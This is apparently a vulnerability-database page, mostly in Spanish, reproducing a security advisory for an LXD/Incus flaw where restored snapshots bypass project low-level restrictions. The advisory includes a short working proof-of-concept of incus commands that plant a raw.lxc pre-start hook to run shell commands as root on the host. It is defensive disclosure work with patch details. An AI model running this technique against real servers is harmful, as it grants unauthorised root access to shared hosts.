llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/canonical/lxd

GHSA-47W9-6R3F-938G

LXD has restricted project bypass leading to arbitrary command execution

An attacker can run commands as root on the server by restoring a crafted snapshot into a restricted project.

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versióncommit c5184be
Exposición13 dDesde la divulgación, 6 nov 2026, 2:51 p. m.
Detección20 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
Verificada
6 nov 26
16 nov 26
20 nov 26
6 nov 26
10 nov 26
13 nov 26
16 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-47W9-6R3F-938G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Resumen generado por IA · CC-BY 4.0 · 6 nov 2026

LXD, the container and virtual machine manager (here through its Incus fork), has a flaw where instance snapshots ignore the restricted.containers.lowlevel=block setting, letting a malicious actor run arbitrary commands on the server with root privileges. The attacker can do this by moving a crafted instance and snapshot into a restricted project and restoring it, which bypasses the project restrictions.

Descripción del advisory
Texto original · GitHub · en inglés

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.

Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.

PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/canonical/lxd< 0.0.0-20260630083100-c5184be310b1
0.0.0-20260630083100-c5184be310b1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/canonical/lxd
Corregida commit c5184be — —
Versiones corregidascommit c5184be
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-48751
Otrahttps://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g
Otrahttps://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Otrahttps://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49
Otrahttps://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b
Otrahttps://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe
Otrahttps://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19
Otrahttps://github.com/canonical/lxd
Otrahttps://github.com/canonical/lxd/releases/tag/lxd-5.0.7
Otrahttps://github.com/canonical/lxd/releases/tag/lxd-5.21.5

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.